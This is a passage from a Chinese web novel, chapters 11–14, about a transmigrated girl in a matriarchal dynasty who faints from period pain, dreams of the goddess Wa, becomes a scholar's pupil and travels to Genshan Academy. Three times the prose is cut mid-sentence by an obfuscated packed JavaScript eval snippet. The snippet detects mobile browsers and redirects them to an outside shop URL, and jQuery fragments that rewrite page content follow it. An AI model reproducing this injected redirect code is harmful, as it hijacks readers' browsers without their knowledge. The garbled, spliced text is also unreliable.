小腹传来熟悉的疼痛与酸胀，让她的太阳穴一抽一抽。 “不是吧，怎么是这个时候……” 从来没人告诉过她—— 穿越女还会来月经的啊！ 11. 第 11 章 系统声音在云曜耳边响起。 【宿主，大曌朝称呼月经为“癸水”或“葵水”，取自上古传说与阴阳五行之意，相传——】 “停停停，先别说这些没用的，”云曜捂着额头，“现在要怎么办？我马上还要出门去拜师……嘶。” 不知为何，腰腹间传来的疼痛愈加剧烈。 几乎已经到了让人无法忍受的程度。 她低吟一声，慢慢缩回床上，将自己连人带被折起来，蜷成一个圆球。 额头上也慢慢沁出了汗珠。 “小曜？小曜你醒了吗？” 门外，云旼的大嗓门响起，紧接着便是一阵沉重的、不属于她的脚步声——应当是她腿伤未好，还需要力士背她行走的缘故。 “还得整理一下给沈女君的束……天啊，你怎么了？” 迷迷糊糊中，云曜感受到有人在摸自己的额头，紧接着是下半身的被子被掀起。 “娲神保佑，怎么会有这样的喜事？” “小曜，你来葵水了！” 与身体传来的冰冷相反，云曜耳边的声音格外雀跃。 但云曜无力去回答。 人在疼痛时，大脑会一片空白。比如脚趾撞到墙角时，脑海在一瞬间无法思考。 而人在极端疼痛时，大脑会空白得更加厉害。 甚至，有时会疼晕过去。 云曜便是如此，她上一秒还在勉力思考“这里似乎没有卫生巾、棉条和止痛药吧”，下一秒，意识便突兀地断了片。 【宿主，你——】 连系统在说些什么，她也完全不知道。 意识已经完全沉入了无底深渊。 “……” “………” 不知过了多久，耳畔传来一段古老的歌谣。女声宏大浩荡，在天地间回响，像是有无数人在高声合唱。 云曜听不清歌词，却本能地心生亲切。 “有人在吗？” “系统，你在吗？” 没有人回答她，只有耳边不停重复运转的上古歌谣。 云曜仿佛变成了一只没有脚的孤魂野鬼，身上隐隐传来疼痛，在一片声音织成的空间里飘荡。 突然间，一个模糊的身影出现在眼前。 霎时，一片温润普照的光辉，自模糊身影的周边徐徐升起，镀上一层耀目却不刺目的金边。 “娲？” 云曜嘴唇不受控制地张开，吐出了这一个字。 等等。 虽然有点耳熟，但她并不认识什么“娲”啊。 还没等云曜惊讶于自己的脱口而出，眼前“娲”的轮廓逐渐近了。 “……” “………” “娲”开口，声音与歌谣融为一体。 神奇的是，尽管云曜依然听不懂女声吟唱的歌词，她却精准地识别到了歌声中传递出的情绪。 ——不要怕。 ——我们都在。一直在。 金光自“娲”身上升起，如同燎原火焰一般，也燃到了云曜身上，烧灼掉她的疼痛。 整个空间都被金色的光芒所充盈。 歌声煌煌。 又不知过了多久，眼前的金光逐渐消弭，歌谣也不知在何时停下。 有窸窸窣窣的声音响起，陆续传入耳朵。 “……怎么……” “……给二娘子换上月事带……” “呀，沈女君……” 耳畔嘈杂的声音，越来越清晰。 其中还传来熟悉的女声大嗓门：“咦，她睫毛动了，是不是快醒转了？” 意识回笼的一瞬间—— 滴！ 【你获得了[通神]技能。当前等级：1级。】 【技能效果：你的女性直觉被强化，有概率提前预知到危险时刻。】 云曜缓缓睁开双眼，目光失焦。 她的小腹已经不再疼痛，意识却还飘荡在不知何处。 “……什么通神？”她喃喃自语，神思不属。 突然间，身侧传来沈令仪的声音。 “曜儿，感觉如何？你已经睡了四个时辰。” 四个时辰，也就是八小时。几乎相当于一个整觉。 窗外光线西移，树影婆娑，已是接近黄昏的时刻。 云曜一惊。 她骤然想起自己昏倒前还要拜师一事，连忙从榻上坐起，羞惭道：“师尊，对不起。我、我来……” 也许是现代人的思维惯性在作祟，她没办法在沈令仪面前说出“来葵水”这三个字。 在云曜的潜意识里，对方是尊敬的师长，是来自盛京的前御史中丞，还是掌管她未来命运的存在。 所以，自己怎么能说出“痛经”这两个字？ 但是…… 她忘了自己如今身在女子为尊的大曌。 也忘了面前的小老太太除了是一名身份尊贵的人，还是一名女人——跟她一样的女人。 沈令仪隔着被褥拍了拍她的手背，自然而然道：“怎么支支吾吾的？女子来葵水天经地义，是成为完整之人的第一步，分明是大件喜事。” 云曜一怔。 此时，系统也做了补充。 【宿主，你知道大曌女子地位尊贵，是因为她们长寿聪颖。】 【事实上，无论哪朝哪代，女人都更加长寿。有一个重要的原因就是月经，它可以帮助女人排出体内的代谢废物，平衡体内激素，维持身体健康。】 云曜有些出神。 这些知识，她前世都了解过。 只是，仍然有一种无形的力量笼罩在上空，变成一双双眼睛、一只只耳朵，约束着她，让她无法大声说出与月经有关的话语。 但现在—— 有什么东西，在大曌朝的她身上被冲破开了。 那些无形的束缚，在这一刻，全部消失得无影无踪。 “师尊，对不起。” 迎着沈令仪慈祥的目光，云曜整个人为之一松，原本紧绷的胸口也逐渐缓和。 “我来葵水疼晕过去，所以没能在镇外跟你见面。”她低声说。 沈令仪扬起嘴角，宽慰她道：“无妨，虽然我在镇外准备了些东西，但拜师不用拘泥于这些身外之物。” 此时此刻，不大的房间内挤满了人。 除了沈令仪，还有云旼和许大夫。 云旼没有穿着昨日的牡丹服，而是换了一件相对低调些的绛紫绉纱裙，她不知从哪里搬了把太师椅，一屁股坐在上面。 许大夫手拿医书，坐在角落的小马扎上。 三人齐齐盯着她，目光中俱是纯然的关切。 沈令仪问：“对了，曜儿，方才看你在梦中微笑，想来应该是梦到什么好事了？” 云曜没什么可隐瞒的，歪头想了一下，便老实开口。 “我好像梦见了……娲。” 此言一出，屋内突然一静。 静得落针可闻。 云旼和许大夫面面厮觑，唯有沈令仪面色不改，隔着被褥拍了拍云曜的手背。 “不少才女英媛都曾在葵水时梦见过娲神。前朝的闵闻章、唐芸等人都作过与‘遇娲神’相关的诗篇词作。” 说罢，她似是有感而发，吟了一首诗。 “昨夜幽梦入仙乡，神女威仪镇八荒。大手轻挥风云变，金眸一瞥魑魅藏，”沈令仪摇头晃脑，“这是闵闻章那首有名的《梦游娲神殿歌》。” 闻言，云曜一愣。 娲……神？ 她突然想起，这几天经常听到云氏仆从们说“娲神保佑”。 难道，自己梦见的“娲”，便是她们口中的“娲神”？ 怪不得自己还会获得一项[通神]技能。 “曜儿，你且把你的梦跟我说一说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“后来我才知道，上朝京官都有专门的葵水假。因女子间的葵水期会相互影响，所以有时会出现朝堂空荡荡的情况。” “圣上根据近几月的月事假名目，观其变化，便能猜出一些京官们的交往互动状况。” 一旁聆听了许久的云曜满脸震惊，忍不住开口。 “师尊，这是真的么？” 月事居然还能这么用？！ 不愧是大曌朝，古人的智慧当真是无穷无尽。 “当然是真。不过，像我这种葵闭已久的老臣，又远离盛京，如今圣上就算是好奇，也无从猜测了。” 沈令仪说完，不知想到了什么，突然下意识叹一口气。 “可现在，圣上她……”她眸子黯淡下来。 屋内登时一静，落针可闻。 云旼很识眼色，说了声“我去给小曜打水”便溜出门外，许大夫也紧随其后。 毕竟除了沈令仪和云曜，在场的另外二人都不敢妄议当今帝王，怕听多了会招致不必要的祸端。 待两人离开后，沈令仪回过神来，再也没提帝王之事。不过，她又说了几件官场上跟葵水有关的小趣事，令云曜大开眼界。 不知何时，朝霞已经爬满了天空，为天际染上层层叠叠的欲燃之色。 “好了，趣事逸闻就先聊到这里，”沈令仪收回思绪，说，“曜儿，依你的生辰八字，下个拜师吉时便是现在。错过了今日的两个吉时，便要等一旬之后了。” “你想如何？” 沈令仪望向云曜，目光温和。 云曜没有半分犹豫。 她身体已无大碍，支撑起上身，掀开被褥下床，对着沈令仪拱手行礼。 “——请师尊受徒儿一拜！” 12. 第 12 章 沈令仪没有受礼，稳稳地托住了她的手。 “不必如此。你如今正是花信期，一切从简即可。” 花信期是指代女子来葵水的称呼，与节气中的二十四候花信期有关。 因花朵大多绽放在春季，大曌人便在二十四节气中选择了从小寒到谷雨的八气；每气十五天，一气又分三候，每五天一候。 五天的花信期，差不多跟女子的葵水期相近，因此被文人墨客引申，用以指代葵水。 云曜没有坚持行礼，开口询问。 “师尊，我应该怎么做？” 沈令仪沉吟片刻，眼底忽然闪过一丝狡黠。 “嗯，普通礼节可免，但考校乃是师徒礼的核心，不可免除。” 云曜眨眨眼，心生不妙之感。 考校？ 意思是，要考考她的文学？ 果不其然，沈令仪继续说：“徒儿，你不如当场撰写一张拜师帖。典故不用拘泥文采，就从前朝大儒撰写的《梦泽文选》跟《春秋记》中挑几个吧。” 云曜神色一僵：“……” 瞬间汗流浃背了。 什么《梦泽文选》《春秋记》，她统统都没听说过。 穿越至今，刚入门文学的她也就懂一本1级书《阴阳论》。但很显然，沈令仪提到的这两本书，等级远在《阴阳论》之上。 系统验证了她的猜测。 【宿主，经查询，《梦泽文选》与《春秋记》都是[文学（5级）]书目。】 云曜目光呆滞：“……” 很好，心已死。 “如何？还是说，你想换几本文选？”一旁的沈令仪问道。 迎着沈令仪的目光，云曜脑海中瞬息闪过无数念头。 在大曌朝的评判标准下，自己差不多就是一个纯正文盲。这又不是选择题考试，全蒙C也有四分之一概率蒙对。 用脚指头想也知道，自己根本不可能瞒得住面前这个饱读诗书、官场沉浮数十年的小老太。 “师尊，其实我……” 她深吸一口气，眼一闭，心一横：“我、我没读过几本书。” 这话甚至都是一种美化，她何止是“没读过几本书”？只能说是“读过一本书”。 沈令仪眉头一挑，没有制止云曜。 “但是，”云曜急切道，“我想拜师读书的心是真，绝无半分作假。徒儿虽然愚钝，却也想认真读书，通过郡试，还想挣得魁首之名！” 这段文字是她的肺腑之言。 对大曌了解得越深，云曜就越不想死。她早已暗暗下定决心，无论如何也得在这里活下去。 “况且这世上也没有先精通，才能再去学习的道理吧？师尊，徒儿是真心求学，心思比真金还真！” 一气说完后，云曜便两眼一闭、缩起脖颈，充当鹌鹑。 话音落下，房内瞬时鸦雀无声。 又过了几息，她身前突然传来大笑声。 “哈哈哈——” 云曜愕然抬头，令她没想到的是，眼前的沈令仪居然笑得很开心。 “徒儿，我不过是逗逗你。我已知道你不通文墨，只是初窥门径。” 云曜：“……” 差点把她吓死。 “咦，可是，敢问师尊是如何知晓的？”她先是大大松了一口气，而后又有些疑惑。 沈令仪视线投向门外：“这还要说起你阿姊。今日你卧床时，你阿姊一定要我收下带来的束脩。我一看，嚯，怎能有人拿三车珠宝绮罗做束脩？” 束脩是读书人拜师的拜师费，一般用风干的肉条。这仅仅是一种约定俗成，象征意义大于实际意义。 没有人会真的送出价值不菲的贵重物。 云曜一时语塞。 很像是她姐跟她妈会干的事——砸钱、砸钱、再砸钱。 怪不得当初从云家出来，不仅拉了三驾轩车，还配了几名力士护送。 合着上面装的，都是货真价实的贵重品？ “当时我便有些疑惑，试着问了你阿姊几个粗浅的典故，结果她一问三不知，回答得驴唇不对马嘴，”沈令仪笑起来，“倒也是很出乎人意料。” ……好像已经能想象到那个尴尬的画面。 以云旼的水准，估计她也没听出来沈令仪在考校她。 沈令仪又说：“于是，我便顺带着问了你的情况，这便了解了内情。” 云曜冷汗涔涔，对着她连连拱手。 “……恳请师尊留下我！” 求求了，哪怕知道她是文盲，也千万不要退货她啊。 “哈哈，曜儿你放心。” 沈令仪拍拍她的脑袋，安抚地摸了摸，笑呵呵开口。 “我已许久没遇到像你跟你阿姊这样有趣的女子，你我之间的师徒缘分，一定是上天安排。” 头顶上温热的触感来回移动了几下，她又听到沈令仪说。 “这倒是也给了我灵感。” “先前还在苦恼要给你取什么字，现在我打算给你取字‘玉镜’。这既能与你的名字互补，又寓意希望你能一直心灵澄澈如明镜，如何？” 玉镜，是月亮的雅称之一。 正如沈令仪所说，云曜的“曜”是太阳，玉镜则是月亮，两相结合，还正巧跟《阴阳论》中的阴阳论点不谋而合。 ——她是日，也是月。 从未残缺过，本身既是圆满。 云曜没有半分犹豫，果断颔首。 “谢师尊赐字！” 在大曌朝，字是人们在正式场合交际时使用的称号。 一个朗朗上口的好字，就如同人的第二张脸皮。 “嗯。玉镜，云玉镜……单是名字，已经有翩翩女君的风范。” 沈令仪显然对自己起的这个字很满意，因为她反复念叨了许多遍。 这之后，她又遣门外的小厮拿来一把造型精致的鹤形玉簪，亲手给云曜插上。 “这是我二十年前带着小云游历东海时，偶然所得。你我因小云结缘，这个玉簪便是为师送你的及笄之物。” “望你能如仙鹤般自由翱翔天地间，展翅高飞，一展宏图。” 沈令仪温声嘱托。 女子及笄的第一把簪子，寄托了长辈对她的关爱与期待。 云曜伸手摸了摸头上的玉簪，手感温润清凉，能感受到鹤翅振翅欲飞的弧度。 从今往后—— 天高任鸟飞，海阔凭鱼跃。广阔天地，大有作为。 “玉镜定将铭记在心！” 她长舒一口气，低声郑重道。 * 次日一早，云曜便跟着沈令仪一起，离开了济海镇。 两人身后的三驾轩车，如今又加了一驾——上面装的全是书箱，是沈令仪特意送给云曜的古籍孤本。 “师尊，把这么贵重的古籍给我，是不是有些浪费了？”云曜有些不安。 她已经让系统检查过一遍，里面的书籍全都是5级往上的书，最高的已经达到了8级。 【宿主，任何技能一旦达到5级，都已经算是行业顶尖。】 【按大曌的平均水准，百分之90的读书人终其一生也无法达到5级文学。】 系统是这样告知她的。 然而—— 如今沈令仪只随意挥挥手：“无妨。这些都是我十几岁时就已精通的书籍，算不得浪费。” 同样是十几岁的云曜：“……” 这真的不是自己的天才师尊在凡尔赛么？ “嘎嘎，嘎嘎嘎，噶！” 这时，在云曜脚边传来了几声鹤唳。 低头一看，只见胖乎乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304785|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小云正窝在她鞋面上，长喙有一搭没一搭地敲击着轩车车辕。 没错。沈令仪出行，还把她的仙鹤一起带了上来。 “师尊，我们此行要去哪里？”云曜问。 既然能让仙鹤同行，想来应该不是什么遥远的地方。 没想到，沈令仪给了个令她极为惊讶的答案。 “艮山学宫。” “……咦？！” 云曜难掩面上的惊讶之色：兜兜转转，自己怎么还是去到了最初的目的地？ 话又说回来，沈令仪不是出身于琅嬛书院么，为什么会去艮山学宫？ 沈令仪一眼就看穿了云曜在想什么：“曜儿，你忘了我先前跟你说过，有旧友所托的要事？此行便是为了那个旧友。” 她叫云曜“曜儿”，而非“玉镜”。 这是因为，虽然女子及笄后都会起字，但在正式场合之外，亲近的人之间更多的还是叫名。 云曜回想起沈令仪说过的话，点点头。 “以你的水平，去艮山学宫读书对你来说也是一桩好事。那里的学生，跟你差不多大，像你一样不通文墨的大概也有很多。”沈令仪说。 云曜：“……是，师尊。” 心情突然很复杂，文化人骂人真的是不带一个脏字。 自己好像被亲师认证为“不通文墨”了……咦？等等。 她注意到了一个华点。 “师尊，你是说我要去艮山学宫读书？”云曜有些讶异。 沈令仪点点头：“嗯。没错。” “但你不是说，此行是为了旧友所托的要事吗？” 沈令仪又点点头：“嗯。确实如此。” “这是为何……” “你知道我是‘琅嬛三仙’之一，这次委托我的旧友，便是另一位琅嬛仙，大名叫陆逍遥，她跟我都是京官。此人虽名为逍遥，却一点都不逍遥。” 沈令仪叹了口气。 “她是个千年难遇的痴情种，跟正夫青梅情深、终成眷属。可惜夫郎三十出头便病逝，留下三个女儿。其中两个女儿一个早夭，一个染上疟疾身亡。” “仅存的独苗小女也随她，是个情种，只娶了一个正夫。夫郎只生了一个……” 不知为何，沈令仪忽然一顿：“咳咳，孩子后便撒手人寰。这孩子跟你一样的年纪，刚满十五，吵着闹着要上学读书。” “逍遥便想到了我。这些年在官场，我欠过她好几个人情，她便说，人情不用还了，只希望我能去艮山学宫为孙儿打点一二。” “我此行，便是为了这个旧友之孙。”沈令仪说。 云曜恍然大悟：“噢——” 听懂了。 看来是某个厉害的首都官N代要跨省来这里借读。 甚至，官N代一家还特意从首都说动了关系好的名师过来，专门给她创造环境。 情理很通，逻辑却不太通——盛京的教育肯定比祥符郡更好，这名官N代怎么会这样大费周章？ 云曜虽然想不明白，但她接受良好。 毕竟，现实可不讲逻辑。有时甚至会比一些编出来的小说故事还要狗血。 “等你跟我去了艮山学宫，可以多留意一下我这位旧友之孙，”沈令仪说，“这孩子脾气倔强，又清高矜贵，有可能跟周围人合不来。” 云曜没有异议，很快应下：“是。” 官N代嘛，有点不合群也是正常的。 看在沈令仪的面子上，自己到时候可以跟她当朋友。 这时，沈令仪双手摩挲了一下脸颊，似是想到了什么。 她眼底闪过思索，突然开口，问了云曜一个风马牛不相及的问题。 “对了，曜儿。你应当还情窦未开吧。” “也就是说，你至今还未曾与儿郎肌肤相亲过，是不是？” 13. 第 13 章 云曜第一反应是，自己是不是听错了。 “……啊？” 在确认沈令仪面上的表情十分认真后，她浑身一悚，差点吓得把脚边的小云踢下车去。 居然不是在开玩笑吗？！ 就像是跟妈妈一起吃饭，上一秒，她还在问你饭菜好不好吃，下一秒，就突然关怀聊及你的性.生活是否和谐。 云曜赶忙在心中询问系统：“我要怎么回答？” 不知道沈令仪口中的“肌肤相亲”，是什么意思？ 【宿主，大曌朝的肌肤相亲，与你前世认为的有些出入，具体来说，主要指男性对女性的各类侍奉。除了性.器官，还有手、口之类。】 系统出现，解释道。 ……侍奉？ 【等未来解锁[房中术]技能，你将有更多了解。】 “曜儿？怎么出神了。”沈令仪半天没听到云曜的回复，又询问了一遍。 云曜回过神来，连连摆手。 “师尊，我未曾与儿郎有过肌肤之亲。” 虽然对系统口中的[房中术]技能很好奇，但当下显然不是详细了解的时候。 沈令仪微微颔首：“我猜也是。” “你昏迷三年，出门时身边也没有小郎服侍，应当是未近男色的，”她不知为何微微松了口气，低声喃喃，“如此甚好，甚好。想来定不会……” 再往后的话，云曜便听不清了。 这之后，沈令仪面色恢复如常，再没追究过此事，只像个普通文人一般欣赏路旁美景。 一行人走的是官道，与先前云曜走过的偏僻小路不同，道路格外宽敞整洁。 时值深秋，道路两旁的行道树挂了枯叶，随风打卷落下，别有一番萧瑟风骨。 “秋风起兮叶纷飞，萧萧落木满山隈——” 兴致一高，沈令仪把仙鹤小云从云曜脚边提溜起来，抱在自己怀中，吟了几首名篇诗作。 吟罢，还得兴致勃勃地问一嘴云曜。 “为师这首诗，念得怎样？” 云曜听不懂，但她很会给面子地鼓掌，充当气氛组。 “不愧是师尊，这首诗真是极好，特别好！” 沈令仪大笑两声，连带着怀中的仙鹤都一起震了几下。 “来人，停车置墨，”她像是来了兴致，放下仙鹤，高声喊道，“我要画一张《携徒秋游图》！” 云曜一愣，没想到沈令仪这么随心所欲。 前不着村，后不着店的。这就要停车画画？ 但很快，她又想到先前沈令仪兴致来时，收自己为徒的场景。 ……嗯。 那就不奇怪了。 毕竟，这个小老太，还真就是极度随心的一个人。 跟在沈令仪周围的侍从仆人面无异色，像是早已习惯她的作风，很快便麻利按她的要求布置了一张画桌。 “等等，曜儿。” 就在云曜也想下车帮忙时，她却被沈令仪制止住。 “《携徒秋游图》，怎能没有徒儿？曜儿，你就跟小云一起待在车上。” 云曜一怔。 噢，是想让她当人体模特是吧。 她眨眨眼，从善如流。很快便收回了准备下车的脚，乖巧坐在原位。 不远处，沈令仪已经站在了临时摆放的桌案前。 不知道模特应该干什么。 是不是得看向画师？ 云曜努力回想前世见过的人体模特，挺直背脊，望向沈令仪。 “不用太过拘束，适情率意一些。秋游又不是课堂，不必坐得如此笔直。” 沈令仪提出要求。 “好，师尊！” 闻言，云曜塌了塌腰，放松下来。 “哎呀，虽不笔直，却也不能像条癞皮狗。”沈令仪喊。 “好，师尊。” 云曜又微直身子。 “不行，还是得自在一点，等一下，不是让你大鹏展翅，”沈令仪摊开空白画卷，连连摇头，“这感觉不对，不能像个爷们一样扭捏！” 云曜：“……好，师尊。” 到底要她怎么做！ 此后，在沈令仪堪比无良甲方的一声声要求里，云曜总算是摆出了合她心意的姿势。 “嘎嘎，噶，噶。” 仙鹤小云坐在她旁边，百无聊赖地蹭了蹭她的膝盖。 “嘘，不要动。”云曜低声警告。 好不容易摆出的姿势，可不能乱动。 没想到—— 小云将她的低声视作亲昵，歪着脑袋思考一阵后，更加变本加厉地蹭她。 “嘎嘎噶！嘎嘎。” 它被沈令仪养得油光水滑，无法无天，丹红的冠子一直往她膝盖上挤。 “嘘——” 云曜身形不动，以眼色示意它。 见她不理自己，小云反而来了劲。它扑棱着上了云曜的身，伸长脖颈在她耳边“嘎嘎”起来。 “快回去，师尊还在画画！” 云曜终于忍不住出手，想把小云从自己身上扯下来。 “嘎嘎，噶！嘎嘎~” 然而，小云还以为她在陪自己玩耍，不由得闹得更欢，说什么也不肯从她身上离开。 自此，一人一鹤开始了角力。 养过猫的人都知道，当小猫说什么都不愿意从你身上下去时，人类基本上束手无策。 而仙鹤的体型，比小猫还庞大数倍。 难缠程度更是呈指数倍增长。 “你是吃什么长大的，这么实心？”云曜气喘吁吁。 “嘎嘎噶，噶！” 仙鹤高亢的叫声，跟周围仆从低低的笑声混合在一起。 被仙鹤狠狠强制爱的云曜：“……有没有人想想办法？” 各位，别看戏了。 被仙鹤长喙啄脸颊的时候可是很疼的啊啊！ 不知跟仙鹤拉扯了多久，不远处终于传来沈令仪心满意足的声音。 “不错不错，终于完成了。” “徒儿，快来看我的《携徒秋游图》，画得如何？” 这一瞬间。 滴！ 【你获得了[入画]技能。当前等级：1级。】 【技能效果：当别人以你为原型绘画时，入画的你，总是会在画中更为突出。】 【检测到当前已获得技能5项，自动将技能进行[生活]与[才华]分类，请宿主随时查看。】 听到沈令仪发话，旁边立刻有仆从上前，将云曜身上的仙鹤抱下来。 云曜长舒一口气，连忙拍了拍衣服。 她今天穿的是一件青色仙鹤祥云纹交领襦裙，下着白绸裤。有[更衣]技能发挥作用，让她显得没那么狼狈。 这倒不是她刻意想讨好爱鹤如痴的沈令仪，而是因为，原身衣柜里原本就有很多仙鹤纹的衣服，此行箱箧中装着的，十有八九都有仙鹤刺绣。 某种程度上，自己能成功拜师沈令仪，冥冥之中或许真有天定命数。 “徒儿，过来过来。” 沈令仪在不远处饶有兴致地朝她招手，指了指自己案前的画卷。 云曜连忙凑上前观看。 不出所料，画的是她跟仙鹤。 然而，沈令仪却选择画了—— 她被仙鹤狂蹭的时刻。 只见画作精准捕捉到了云曜面露惊色、仙鹤有恃无恐的模样，还将她那张牙舞爪的疯癫动作描摹地栩栩如生。 云曜：“……” 云曜：“………” 心情很微妙。 有种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13304786|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍照时明明摆了很久姿势，最后却被抓拍下最丑瞬间的感觉。 如果画上的不是她，她或许还会盛赞一句沈令仪的画作极有灵气。 寥寥几笔，便抓住了人物神态跟动作的精髓——动若脱兔，癫狂若猴。 甚至，由于有[入画]技能加成，旁人乍一看到这幅画卷，立刻就会留意到云曜。 第一反应就是：嚯。 这小娘子是在被仙鹤追杀吗？ 偏偏沈令仪还对这幅画格外满意，左看右看上看下看。 “不错，不错。丹青果真要一蹴而就，我这张《秋游图》可真是妙不可言、野趣横生。”她一脸自豪。 云曜勉力干笑几句：“哈、哈哈。” 她在心中安慰自己，没关系。 沈令仪也不是什么知名画家，想必不会有多少人看到这张画作。 【……真的会是这样吗？】系统突然出现。 “你什么意思？” 【没什么。】 系统顿了顿，没再说话。 * 此后，轩车一直往北驶去，渐渐看得到人烟。 “徒儿，你可曾来过此地？”沈令仪问。 云曜摇摇头：“没有。” 她们如今前往的是祥符郡北岳县，也正是整个祥符郡的文化与政治中心。 诸如艮山学宫、祥符郡衙还有不少知名书斋，都坐落于此。相较于云氏所在的南麓县，北岳没有商贾大族居住，更多的是官宦人家与平民百姓。 因此，才刚进城门，便已能听到小商贩的叫卖声。 “金丝党梅，卖金丝党梅喽——” “甜如蜜，香满街——” “这位娘子，不给你家夫郎买一袋么？” 云曜看到，有一个女人被卖货姑拦下。 女人看了货姑手中的蜜饯一眼，放下自己手提的已杀好的公鸡。 “多少钱？” 卖货姑满脸堆笑：“二十文一袋。儿郎家家的都喜欢吃这个。” 女人从兜中数出二十枚铜板，交给卖货姑，换了一油纸包的蜜饯。 “好嘞，您慢走——” 卖货姑满脸堆笑。 才刚做完上一单生意，她视线就开始乱飘，搜寻下一个潜在客户。 “噢？” 这时，眼尖的卖货姑突然看到了刚进城门的云曜一行人，神色开始发亮。 真是浩浩荡荡的队伍。 等一下，坐在前头的那名俊俏小娘子，还有她身旁的老媪，身上穿的衣服好像都很贵的样子。 ……大客户来了！ “金丝党梅，卖金丝党梅喽！儿郎最喜欢的金丝党梅！” 货姑叫卖更加起劲，脚下生风，直直往云曜一行人的方向走。 云曜没有想吃的意思，然而她身旁的沈令仪却神色一动。 “你身上还有几袋？”待卖货姑走近了，她问。 “回娘子，差不多还有三十袋。” 沈令仪把一名仆从叫过来，耳语几句。 仆从立刻从兜中拿出戥子和剪子，又掏出一两官银，绞下一块递给卖货姑。 “我家主人全要了。” 卖货姑喜不自胜，点头哈腰：“谢谢娘子，谢谢娘子！” 云曜看了眼沈令仪，只见对方眉目淡然，并无想吃之意。 “师尊，为何买下这么多？” 沈令仪道：“我那旧友之孙颇为嗜甜，正好凑巧，便带点伴手礼。” 云曜点点头，心想：原来那位官N代同学喜欢吃甜食。 倒是让她越来越好奇了。 从沈令仪口中，她已得知此人又清高矜贵，又脾气倔强，还嗜好甜食。 不知对方…… 到底会是一位怎样的女子？ 14. 第 14 章 此后，一行人马继续穿过主街，往艮山学宫的方向走去。 残阳逐渐西斜，马蹄跶跶，扬起一片尘土。 路上，云曜格外新奇地左顾右盼。 各色商铺、茶馆跟酒楼在街旁林立，比云曜印象中的古代还要繁华。 越是临近傍晚，越是人流如织、络绎不绝，甚至还能看到有些打扮精致的儿郎结伴出行，可谓是万红丛中一点绿，引人频频回首。 【宿主，大曌朝没有严格的宵禁制度，民风相比前朝更为开放，哪怕夜晚也十分繁荣。】 【你们即将抵达的学宫也是这样。】 云曜心中纳罕。 “但是，学宫不是学习的地方么，为什么晚上还会繁荣？” 【严格来说，大曌的书院学宫更偏向于宿主认知中的“现代寄宿学校”。学子们大多白日读书学习，晚上游玩休息。】系统回答。 云曜恍然大悟。 所以，艮山学宫其实是个包吃、包住、包学还包玩的地方？ 真不错。 正与系统交流间，一道宏伟的杉木大门已出现在眼前，门楣上龙飞凤舞地写着“艮山学宫”四个大字。 “徒儿，我们到地方了。” 沈令仪说着，吩咐后面拖着重物箱箧的轩车从侧门进入。 云曜连忙翻身下车，又回过头去搀扶沈令仪。 “师尊慢些，小心踩空。” 此时，门内有两名护院正在打扫卫生。 两人一高一矮，高的身形偏瘦，矮的身形偏胖，极易分辨。 听到门外车马喧嚣，那名高瘦的女子眼睛都没抬，只有气无力地拖长腔喊。 “一日前，学宫已停止招生了——请各位娘子腊月上旬再来吧——附近有歇脚的客栈——娘子们若嫌时间晚，可以歇息几日再打道回府——” 虽然语气懒洋洋，话语却十分流畅。 像是已经在短时间内重复过千次百次。 云曜闻言，眉梢微扬。 ……停止招生了？ 【宿主，若是按原书进展，沈令仪并未错过时间，她此时应当已经顺利进入艮山学宫。】 系统出声提示道。 云曜：“……” 有些心虚。 看来，如果没有她耽搁的这几日，沈令仪是能按时赶来的…… 等一下。 她忽然注意到一个细节：为什么原书中会有沈令仪的存在？沈令仪跟女主有什么关系？ 刹那间，云曜脑海中电光石火般闪过一种可能性。 莫非，那位沈令仪口中一直提及的官N代，就是—— 传说中的，原书女主？ 她眼睛一亮，越想越觉得自己推理正确。 不愧是她。 来到大曌才几天，都变得这么聪明了！ 沈令仪完全不知道身旁的徒儿在想些什么，她面色不改，只淡淡地站在原地。 跟在她身边的仆从格外机灵，没等沈令仪开口便走上前，对着高瘦护院说：“我们家主人并非普通学子，而是受山长邀请，前来此地。” “！？！” 听到这句话，两个护院猛地抬头。 她们显然早就收到了指令，只见高瘦的那人一扫面上懒色，把手中扫帚往地上“啪”的一丢，摆出一副殷勤的模样。 “哎呀哎呀，原来是远鹤女君……！ “山长如今就在集贤堂，早已恭候多时，”说着，她视线转向云曜，“不知这位小女君是？” “这是我徒儿云曜，会在这里借读一段时日。”沈令仪开口。 高瘦护院闻言满脸堆笑，点头哈腰：“原来是云小女君！” 与先前判若两人。 “没问题，没问题。学宫一向都很欢迎像云小女君这样有学识的娘子。”她热情洋溢。 与高瘦护院相比，另一边的矮壮护院显然不善言辞。 她没有附和身旁同伴的话语，只默默低下身子，拾起了高瘦护院丢在地上的扫帚。 而后，矮壮护院将自己跟同伴的两把扫帚一起抱在胸前，沉声开口。 “集贤堂，在，东边。” “二位，请跟我来。” * 艮山学宫内环境幽静，以正中央的嶙峋假山为轴，布局东西对开，东边是学堂所在地，西面则是学子们的住处。 